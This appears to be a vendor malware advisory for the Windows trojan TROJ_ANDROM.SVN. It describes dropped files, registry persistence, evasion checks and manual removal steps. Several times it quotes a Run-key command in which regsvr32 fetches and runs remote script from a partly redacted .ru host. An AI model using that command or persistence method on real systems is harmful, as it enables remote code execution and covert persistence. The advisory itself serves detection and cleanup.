Analysis by: Byron Jon Gelera

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware

This malware is involved in the filelessly-installed backdoor malware attack discovered early August 2017. Users affected by this malware may find their systems exhibiting malicious routines.

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

  TECHNICAL DETAILS

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • %Application Data%\ee{8 random characters}.exe
  • %User Startup%\{1 random character}.lnk ← points to ee{8 random characters}.exe

(Note: %Application Data% is the Application Data folder, where it usually is C:\Documents and Settings\{user name}\Application Data on Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\AppData\Roaming on Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.. %User Startup% is the current user's Startup folder, which is usually C:\Documents and Settings\{user}\Start Menu\Programs\Startup on Windows 2000 and XP, and C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows Vista, 7, and 8.)

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • Global\msiff0x1

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
COM+ = "regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll"

HKEY_CURRENT_USER\Keyboard Layout
2 = {hex value}

HKEY_CURRENT_USER\SOftware\Microsoft\
Windows
{Volume Serial Number} = {hex value}

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Other Details

This Trojan requires the existence of the following files to properly run:

  • {Malware Path}\IndexerVolumeGuid

It checks for the presence of the following process(es):

  • avp.exe ← performs infinite sleep if found

It does the following:

  • It executes the following commands:
    • Explorer.exe /n,"{Drive Letter where malware is executed}:\"
    • cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:R
    • cmd.exe /C Echo y | cacls %User Startup% /e /c /t /g Everyone:W
  • It will not proceed with its routine if the system's language is any of the following:
    • Russian
    • Ukrainian
    • Belarusian
    • Kazakh
  • It decrypts the component file IndexerVolumeGuid using the malware's filename.
  • If running on Windows 10 or Windows Server 2016, it will not proceed with the dropping routine instead it will create the following registry entry:
    • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll

  SOLUTION

Minimum Scan Engine: 9.850
FIRST VSAPI PATTERN FILE: 13.584.04
FIRST VSAPI PATTERN DATE: 09 Aug 2017
VSAPI OPR PATTERN File: 13.585.00
VSAPI OPR PATTERN Date: 10 Aug 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as TROJ_ANDROM.SVN

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/restore.xml scrobj.dll
  • In HKEY_CURRENT_USER\Keyboard Layout
    • 2 = {hex value}
  • In HKEY_CURRENT_USER\SOftware\Microsoft\Windows
    • {Volume Serial Number} = {hex value}
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • COM+ = regsvr32 /s /n /u /i:http://{BLOCKED}r2.{BLOCKED}bw.ru/deploy.xml scrobj.dll

Step 5

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Application Data%\ee{8 random characters}.exe
  • %User Startup%\{1 random character}.lnk

Step 6

Scan your computer with your Trend Micro product to delete files detected as TROJ_ANDROM.SVN. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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